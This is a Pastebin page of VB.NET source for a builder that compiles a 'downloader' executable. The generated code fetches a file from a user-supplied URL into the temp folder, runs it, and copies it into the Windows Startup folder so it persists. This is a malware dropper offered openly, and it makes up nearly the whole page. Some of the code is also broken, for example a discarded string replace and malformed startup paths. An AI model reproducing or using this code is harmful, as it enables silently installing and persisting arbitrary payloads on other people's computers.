Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.CodeDom.Compiler
- Imports System.CodeDom
- Public Class Form1
- Dim directlink As String
- Dim sfd As New SaveFileDialog
- Private Sub LogInButton1_Click(sender As Object, e As EventArgs) Handles LogInButton1.Click
- 'This button will be used to compile our downloader
- sfd.Title = "Save downloader as..."
- sfd.InitialDirectory = My.Computer.FileSystem.SpecialDirectories.Desktop
- sfd.Filter = "Executables|*.exe"
- sfd.ShowDialog()
- Dim filename As String = sfd.FileName
- If filename.Contains(".exe") Then
- filename.Replace(".exe", String.Empty)
- End If
- End Sub
- Private Sub Downloader()
- 'This is the Downloader Sub, it will be the text that is inside a hidden textbox
- Try
- If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.Temp & sfd.FileName & ".exe") Then
- My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & sfd.FileName & ".exe") 'Delete file
- End If
- If My.Computer.FileSystem.FileExists("C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & sfd.FileName & ".exe") Then
- My.Computer.FileSystem.DeleteFile("C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & sfd.FileName & ".exe") 'Delete file
- End If
- Dim URL As String = LogInNormalTextBox1.Text 'URL = Direct Link
- Dim FileLoc As String = My.Computer.FileSystem.SpecialDirectories.Temp & sfd.FileName & ".exe" 'Drop file to %temp%
- Dim FileLoc2 As String = "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" & sfd.FileName & ".exe" & ".exe" 'Drop file to startup path
- Dim fileIsAvailable As Boolean = My.Computer.FileSystem.FileExists(FileLoc)
- If fileIsAvailable = False Then
- Dim wc As New Net.WebClient
- wc.DownloadFile(URL, FileLoc)
- Process.Start(FileLoc)
- My.Computer.FileSystem.CopyFile(FileLoc, FileLoc2) 'Copy from %temp% to startup
- End If
- Catch ex As Exception
- End Try
- End Sub
- End Class
Add Comment
Please, Sign In to add comment